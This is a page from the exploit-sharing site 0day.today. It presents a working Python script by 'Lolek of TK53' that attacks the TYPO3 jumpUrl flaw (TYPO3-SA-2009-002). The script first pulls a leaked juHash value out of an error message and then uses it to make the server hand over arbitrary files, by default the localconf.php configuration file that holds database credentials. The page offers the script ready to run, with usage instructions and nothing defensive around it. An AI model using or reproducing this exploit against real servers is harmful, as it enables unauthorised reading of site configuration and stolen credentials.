0day.today - 世界最大的漏洞利用数据库。
![](/img/logo_green.jpg)
- 我们唯一的域名:http://0day.today
- 我们大多数的材料都完全免费
- 如果你想购买漏洞利用 / 获取V.I.P.权限 或者使用其他付费服务,
你需要购买或者赢取金币金币
本站管理员使用官方账号。请谨防诈骗!
![We DO NOT use Telegram or any messengers / social networks!](/img/no_telegram_big.png)
Please, beware of scammers!
你可以由此方式联系我们:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
TYPO3 < 4.0.12/4.1.10/4.2.6 (jumpUrl) Remote File Disclosure Exploit
==================================================================== TYPO3 < 4.0.12/4.1.10/4.2.6 (jumpUrl) Remote File Disclosure Exploit ==================================================================== #!/usr/bin/env python # # ------------------------------------------------------------------------------ # TYPO3-SA-2009-002 exploit by Lolek of TK53 <[email protected]> # date: 2009/02/10 # vendor url: http://typo3.org # vulnerable versions: TYPO3 < 4.2.6, TYPO3 < 4.1.10, TYPO3 < 4.0.12 # usage: # typo3-sa-2009-002.py <host> <file> (defaults to typo3conf/localconf.php) # # if people fixed their installations but did not update the typo3 security key # you should be able to precompute the hashes if you previously got the security key. import urllib,re,sys strip = re.compile(r'.*Calculated juHash, ([a-z0-9]+), did not.*') def useme(): print sys.argv[0], '<host> (with http://) <file> (defaults to typo3conf/localconf.php)' sys.exit(0) def parsehash(host, f): file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:'}) url = host + '/index.php?' + file try: s = urllib.urlopen(url) r = s.read() except Exception, e: print '[!] - ', str(e) return None tmp = strip.match(r) if tmp: return tmp.group(1) else: return None def content(host, hash, f): file = urllib.urlencode({'jumpurl' : f, 'type' : 0, 'juSecure': 1, 'locationData' : '1:', 'juHash' : hash}) url = host + '/index.php?' + file try: s = urllib.urlopen(url) print '[+] - content of:', f print s.read() except: print '[!] - FAIL' def main(): if len(sys.argv) < 2: useme() if len(sys.argv) < 3: file = 'typo3conf/localconf.php' else: file = sys.argv[2] print '[+] - TYPO3-SA-2009-002 exploit by Lolek of TK53' print '[+] - checking typo3 installation on...' hash = parsehash(sys.argv[1], file) if not hash: print '[!] - version already fixed or 42 went wrong while trying to get the hash' sys.exit(234) content(sys.argv[1], hash, file) if __name__ == '__main__': main() # 0day.today [2024-06-28] #